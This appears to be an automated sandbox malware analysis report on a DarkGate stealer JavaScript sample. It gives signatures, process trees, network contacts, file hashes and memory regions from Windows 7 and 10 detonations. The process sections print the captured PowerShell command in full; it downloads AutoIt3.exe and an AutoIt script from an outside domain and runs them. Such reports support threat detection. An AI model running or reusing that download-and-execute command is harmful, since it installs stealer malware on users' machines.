Malware Analysis Report

2024-11-30 11:11

Sample ID 231106-xfnq7adb2x
Target 07112023_0247_app(060e45bf7b57d4).js
SHA256 8f7c401cde820120aedfc52946a8493e0540ab3f9eaa38a4e8d138389e89bc84
Tags
darkgate ads5 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8f7c401cde820120aedfc52946a8493e0540ab3f9eaa38a4e8d138389e89bc84

Threat Level: Known bad

The file 07112023_0247_app(060e45bf7b57d4).js was found to be: Known bad.

Malicious Activity Summary

darkgate ads5 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-06 18:47

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-06 18:47

Reported

2023-11-06 18:50

Platform

win7-20231025-en

Max time kernel

117s

Max time network

120s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_0247_app(060e45bf7b57d4).js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_0247_app(060e45bf7b57d4).js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://twittesling.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://twittesling.com:443/msiukclaynr' -OutFile 'ukclaynr.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ukclaynr.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2912-4-0x000000001B160000-0x000000001B442000-memory.dmp

memory/2912-5-0x00000000024E0000-0x00000000024E8000-memory.dmp

memory/2912-6-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

memory/2912-7-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2912-8-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2912-9-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2912-10-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

memory/2912-11-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2912-12-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-06 18:47

Reported

2023-11-06 18:50

Platform

win10v2004-20231023-en

Max time kernel

140s

Max time network

150s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_0247_app(060e45bf7b57d4).js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_0247_app(060e45bf7b57d4).js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://twittesling.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://twittesling.com:443/msiukclaynr' -OutFile 'ukclaynr.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ukclaynr.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" ukclaynr.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 twittesling.com udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 185.174.101.224:443 twittesling.com tcp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 224.101.174.185.in-addr.arpa udp
US 185.174.101.224:443 twittesling.com tcp
US 8.8.8.8:53 155.245.36.23.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 218.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 161.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_whbpn0kd.ueh.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3384-9-0x000002D62F8D0000-0x000002D62F8F2000-memory.dmp

memory/3384-10-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

memory/3384-11-0x000002D62D850000-0x000002D62D860000-memory.dmp

memory/3384-12-0x000002D62D850000-0x000002D62D860000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/3384-26-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

C:\tepp\ukclaynr.au3

MD5 a5f203d25d2e04a2b7f0e6a388e415ec
SHA1 aa2890ec2666cd89d9d47f3b2fe3fa9590fc3a5a
SHA256 2ab20d92bd6c8bcea33eac9cbab007dd79fed72b86acb87669ed4c258fa24dd3
SHA512 5998917232b3216386e9948d231b556a00991c4b7cffb9f69ad3ba22781943a9f6417c6ef7847c696bd376cfc023d09c18c3d0b2509a31c42121f865fc2c4978

memory/2296-29-0x0000000001120000-0x0000000001520000-memory.dmp

memory/2296-30-0x0000000004210000-0x00000000043A5000-memory.dmp

memory/2296-31-0x0000000004210000-0x00000000043A5000-memory.dmp